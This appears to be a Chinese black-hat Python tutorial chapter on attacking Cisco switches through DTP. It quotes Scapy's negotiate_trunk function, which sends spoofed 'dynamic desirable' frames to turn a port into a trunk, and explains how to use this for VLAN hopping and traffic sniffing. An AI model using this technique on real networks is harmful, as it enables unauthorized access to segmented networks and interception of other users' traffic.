Python黑帽程式設計 3.5 DTP攻擊
Python黑帽程式設計 3.5 DTP攻擊
在上一節,《Python黑帽程式設計 3.4 跨越VLAN》中,我們討論了一般的VLAN中實施攻擊的方法,這一節屬於擴充套件內容,簡單演示下Cisco特有的DTP協議的攻擊方法。
由於條件限制,本節的程式碼我沒有在實際環境下測試,不保證有效,歡迎討論。
3.5.1 DTP協議
動態中繼協議 DTP(Dynamic Trunking Protocol)是一種 Cisco 私有協議。DTP 用於兩臺交換機的直連二層埠探測對端的配置,自動協商出二層埠的鏈路型別和以太協議封裝進而與對端自適應。這樣當對端裝置修改時,就不用手工修改本端配置,通過協議自適應更改即可。DTP 的重要作用是,在組網不確定的情況下,可以實現即插即用;修改網路拓撲時,也不用手工修改二層埠的配置。
DTP 利用第二層中繼幀,在兩臺交換機的直連埠之間進行通訊。DTP 報文僅限於兩個 直連埠之間的通訊,維護兩個直連埠的鏈路型別和以太封裝型別。工作原理如圖2所示。
圖2
如果交換機開啟了DTP協議,攻擊者假冒交換機向目標交換機發送Dynamic desirable資料包,那麼會把目標埠變成Trunking埠,這意味著我們可以通過修改本機的配置進入任何一個VLAN,同時可以利用3.4節的方法進行VLAN跳躍攻擊,監聽所有資料了。
3.5.2 傳送DYNAMIC DESIRABLE資料包
在Scapy的scapy.contrib.dtp包中有一個negotiate_trunk方法,原型如下:
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
print "Trying to negotiate a trunk on interface %s" % iface
p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
sendp(p)
該方法第一個引數需要我們傳入傳送資料包的網絡卡,第二個是可選引數,可以用來傳入要假冒的交換機的Mac地址,如果不傳入,會隨機產生一個。
呼叫該方法,就可以完成Dynamic desirable資料包的生成和傳送工作。如下程式碼所示:
圖3
資料包傳送之後,會有一些延遲才會生效。
3.5.3 小結
本節主要講了如何利用DTP協議攻擊Cisco裝置,本節的方法需要和3.4節的方法結合使用。
下一節,我們進入第四章《網路層攻擊》。
第4.0節《網路層攻擊概述》已經在微信訂閱號搶先發布,心急的同學進入訂閱號(二維碼在下方),從選單“專欄”—>”Python黑帽程式設計”進入即可。
檢視完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回覆“python”。問題討論請加qq群:Hacking (1群):303242737 Hacking (2群):147098303。
玄魂工作室-精彩不斷